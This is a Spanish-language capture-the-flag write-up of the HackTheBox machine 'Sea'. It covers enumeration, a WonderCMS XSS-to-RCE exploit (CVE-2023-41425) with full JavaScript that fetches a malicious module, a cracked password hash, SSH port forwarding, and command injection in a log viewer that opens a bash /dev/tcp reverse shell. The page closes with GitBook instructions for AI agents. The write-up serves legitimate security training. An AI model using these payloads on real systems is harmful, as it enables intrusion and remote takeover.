> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md). # Análisis de Sea HackTheBox {% embed url="" %} {% hint style="warning" %} **Habilidades**: * Explotación de Wonder CMS * Vulnerabilidad CSRF * (XSS a RCE) * Reenvío de puertos * (LFI - RCE) Vulnerabilidad de envenenamiento de logs {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.28 -oG allPorts ```

**Análisis de puertos abiertos con extractPorts:** Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (22.80)

**Escaneo de versiones de puertos con Nmap:** Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```bash nmap -sCV -p80,22 10.10.11.28 -oN targeted ```

Para resolver nombres de dominio en direcciones IP mediante DNS, inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo.

**Descubrimiento de un sitio de contacto:**

**Comprobando las comunicaciones entre el servidor y el sitio:**/ Encontramos una parte del sitio dedicada a los contactos. Comprobamos si el servidor está enviando solicitudes a este sitio.

**Recepción de una solicitud en nuestro servidor web:**/ Para capturar esta solicitud, configuramos un servidor HTTP simple con Python: ```bash python3 -m http.server 555 ```

**Interceptando la solicitud con** [Burp Suite ](/es/hacking-tools/web/burpsuite.md)**:**/ Interceptamos la solicitud con Burp Suite para analizar las comunicaciones. ## **Posible** [**SSRF**](/es/web/ssrf.md)**:** #### Intentamos enumerar servicios internos usando un ataque SSRF, modificando el parámetro de consulta: ```bash &website=http:127.0.0.1 ```

**Descubrimiento de puertos internos con Intruder:**/ Usamos Burp Suite Intruder para realizar un ataque de fuerza bruta y descubrir puertos internos abiertos.

**Filtrado de respuestas:**/ Filtramos las respuestas según su tamaño para identificar cuáles son relevantes, pero todas son iguales.

## Vulnerabilidad de WonderCMS ([CSRF](/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md)): (XSS a RCE) **Búsqueda de directorios:**/ Usamos Gobuster para buscar directorios en el sitio: ```bash gobuster dir -u http://sea.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` Esto nos devuelve el **/themes** directorio con un código de redirección 301.

**Explorando el directorio themes:**/ Continuamos la búsqueda añadiendo la ruta descubierta a la URL y explorando el **/themes** directorio ```bash gobuster dir -u http://sea.htb/themes/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` Encontramos el **/bike** subdirectorio.

**Filtrado por extensiones de archivo:**/ Usamos *ffuf* para filtrar archivos con ciertas extensiones (php, html, png, etc.) en el **/bike** directorio: ```bash ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -u "http://sea.htb/themes/bike/FUZZ" -t 200 -fc 403 ``` Este comando nos permite encontrar un archivo llamado **README.md**

Encontramos un `README.md` archivo que indica que el servidor usa un tema llamado "WONDER", que es un CMS.

Mientras buscábamos vulnerabilidades relacionadas con este CMS, descubrimos una falla que permite ejecución remota de código (RCE) mediante inyección XSS. {% embed url="" %} **Código JavaScript para obtener una shell:**/ El siguiente código JavaScript descarga un archivo ZIP malicioso que contiene un script de reverse shell y luego lo ejecuta en el servidor: ```javascript // el servidor tiene algún problema resolviendo nombres de dominio con JavaScript // podemos simplemente proporcionar la URL objetivo como parámetro requerido var whateverURL = "http://sea.htb"; var token = document.querySelectorAll('[name="token"]')[0].value; // modificar la ruta del archivo ZIP servido en el servidor HTTP var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token; var xhr3 = new XMLHttpRequest(); xhr3.withCredentials = true; xhr3.open("GET", urlRev); xhr3.send(); xhr3.onload = function() { if (xhr3.status == 200) { var xhr4 = new XMLHttpRequest(); xhr4.withCredentials = true; // visita rev.php dentro del archivo ZIP subido xhr4.open("GET", whateverURL+"/themes/whatever/rev.php"); xhr4.send(); xhr4.onload = function() { if (xhr4.status == 200) { var ip = "10.10.14.89"; var port = "4444"; var xhr5 = new XMLHttpRequest(); xhr5.withCredentials = true; // activar el script de reverse shell y proporcionar la IP y el puerto del listener xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port); xhr5.send(); } }; } }; ``` **Instalación del script de explotación para la vulnerabilidad (CVE-2023-41425):** ```bash git clone https://github.com/prodigiousMind/CVE-2023-41425 cd CVE-2023-41425 ``` Ejecutamos el script de explotación: ```bash python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444 ``` El script anterior envía una solicitud a nuestro servidor en el puerto 8000 mediante un `xss.js` archivo, dándonos acceso RCE y control de la máquina objetivo.

**Paso final:** Necesitamos enviar el enlace XSS al administrador a través del `contact.php` formulario para engañarlo y que haga clic en el enlace malicioso: {% code fullWidth="true" %} ``` http://sea.htb/index.php?page=loginURL?">

**Escuchando con Netcat:**/ Escuchamos en el puerto 4444: ```bash nc -nlvp 4444 ```

#### Una vez que tengas acceso al servidor Linux, usa los siguientes comandos para estabilizar la terminal ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### Estabiliza la shell para trabajar más cómodamente. ## Escalada de privilegios: Como usuario *www-data*, filtraremos el contenido usando el `find` comando para buscar solo archivos que contengan la palabra "**contraseña**" en el directorio del servidor web `/var/www/sea`. ```bash find /var/www/sea -type f -exec grep -Hn "password" {} / ``` Encontramos una contraseña cifrada en el `database.js` archivo: `$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q`

Para descifrar esta contraseña, usamos la **John the Ripper** herramienta con el `rockyou.txt` archivo de diccionario: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

La contraseña descifrada es mychemicalromance Ahora intentaremos conectarnos con los dos usuarios disponibles en el sistema: "geo" y "amays".

La contraseña para el usuario **amays** es correcta. ### Bandera user.txt

Analizando las comunicaciones de la red interna, encontramos que el puerto 8080 estaba en uso: ```bash netstat -ano netstat -nltp ```

Por lo tanto, redirigiremos el puerto 8080 del servidor a nuestra máquina atacante mediante SSH usando redirección de puertos, desde el puerto 8888: ```bash ssh -L 8888:localhost:8080 amay@10.10.11.28 ``` Una vez conectados, encontramos un panel de inicio de sesión.

Con las credenciales del usuario `amay`: `mychemicalromance`, logramos conectarnos a un sistema de monitoreo.

Podemos observar los registros de conexión de `root`.

Al interceptar la solicitud con Burp Suite, notamos que muestra el contenido del `/var/log/apache2/access.log` archivo de una manera más estructurada.

Este archivo solo puede ser abierto por el usuario `root`.

### Vulnerabilidad [(LFI - RCE) Envenenamiento de logs](/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md): Si intentamos listar un archivo como `/etc/passwd`, por ejemplo: ``` log_file=/etc/passwd &analyze_log=/etc/passwd ``` El archivo se lista :)

Entonces intentaremos leer el archivo que contiene el `root` flag y observamos que es posible ejecutar comandos (como `id`): ```bash log_file=/root/root.txt;id;----&analyze_log=/root/root.txt ```

### **Acceso completo (reverse shell):** Para obtener una reverse shell, ejecutamos el siguiente comando: {% code fullWidth="false" %} ```bash bash -c "bash -i >%26 /dev/tcp/192.168.71.128/443 0>%261" ``` {% endcode %} {% code overflow="wrap" fullWidth="true" %} ``` log_file=/root/root.txt;bash -c "bash -i >& /dev/tcp/10.10.14.89/443 0>&1";---&analyze_log=/root/root.txt ``` {% endcode %} Luego, escuchamos con `nc`: ```bash nc -nvlp 443 ``` ### Flag de root :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.